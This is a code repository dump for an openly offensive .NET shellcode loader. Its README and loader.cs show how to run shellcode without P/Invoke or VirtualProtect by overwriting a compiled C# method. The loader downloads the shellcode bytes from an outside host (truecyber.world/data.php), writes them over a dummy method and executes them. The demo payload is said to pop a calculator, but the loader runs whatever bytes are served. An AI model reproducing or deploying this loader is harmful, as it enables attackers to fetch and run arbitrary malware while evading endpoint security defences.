├── OffensiveX-2025.pdf ├── README.md ├── server.php └── loader.cs /OffensiveX-2025.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Mr-Un1k0d3r/DotnetNoVirtualProtectShellcodeLoader/HEAD/OffensiveX-2025.pdf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DotnetNoVirtualProtectShellcodeLoader 2 | load shellcode without P/D Invoke and VirtualProtect call. 3 | 4 | # How 5 | 6 | This code leverages built-in .NET functionality to allocate an RWX memory region and overwrite a C# method with your own shellcode using the `RuntimeHelpers.PrepareMethod(handle)` method. 7 | 8 | # Usage 9 | 10 | The POC is remotely fetching the shellcode on a remote server (a pop calc x86) 11 | 12 | # Credit 13 | 14 | Mr.Un1k0d3r 2025 15 | -------------------------------------------------------------------------------- /server.php: -------------------------------------------------------------------------------- 1 | 12 | { 13 | 23 | "code": 200 24 | } 25 | -------------------------------------------------------------------------------- /loader.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Net; 5 | using System.Reflection; 6 | using System.Runtime.CompilerServices; 7 | using System.Security.Cryptography; 8 | using System.Threading; 9 | using System.Web.Script.Serialization; 10 | 11 | public class APIDATA 12 | { 13 | public Dictionary items { get; set; } 14 | public int code { get; set; } 15 | } 16 | public class Program 17 | { 18 | private static byte[] shellcode; 19 | 20 | public static IntPtr GetMethodAddress(MethodInfo method) 21 | { 22 | RuntimeMethodHandle handle = method.MethodHandle; 23 | RuntimeHelpers.PrepareMethod(handle); 24 | return handle.GetFunctionPointer(); 25 | } 26 | 27 | public static void Dummy() 28 | { 29 | Console.WriteLine("Hello I'm a useless method"); 30 | } 31 | static void Main(string[] args) 32 | { 33 | Program.Dummy(); 34 | 35 | // the URL point to a dummy calc pop shellcode 36 | // the code is available in the repo under data.php 37 | APIDATA data = GetApiResponse("https://truecyber.world/data.php"); 38 | int size = data.items.Count; 39 | Program.shellcode = new byte[size]; 40 | foreach(KeyValuePair item in data.items) 41 | { 42 | Program.shellcode[Int32.Parse(item.Key)] = Byte.Parse(item.Value); 43 | } 44 | 45 | MethodInfo mi = typeof(Program).GetMethod("Dummy", BindingFlags.Static | BindingFlags.Public); 46 | IntPtr addr = GetMethodAddress(mi); 47 | 48 | unsafe 49 | { 50 | byte* ptr = (byte*)addr.ToPointer(); 51 | for (int i = 0; i < Program.shellcode.Length; i++) 52 | { 53 | ptr[i] = Program.shellcode[i]; 54 | } 55 | } 56 | 57 | Program.Dummy(); 58 | } 59 | 60 | public static T GetApiResponse(string url) 61 | { 62 | try 63 | { 64 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); 65 | request.Method = "GET"; 66 | request.Accept = "application/json"; 67 | 68 | HttpWebResponse response = (HttpWebResponse)request.GetResponse(); 69 | using (StreamReader reader = new StreamReader(response.GetResponseStream())) 70 | { 71 | string json = reader.ReadToEnd(); 72 | JavaScriptSerializer serializer = new JavaScriptSerializer(); 73 | T result = serializer.Deserialize(json); 74 | 75 | return result; 76 | } 77 | } 78 | catch (Exception e) 79 | { 80 | 81 | } 82 | 83 | return default(T); 84 | } 85 | } 86 | --------------------------------------------------------------------------------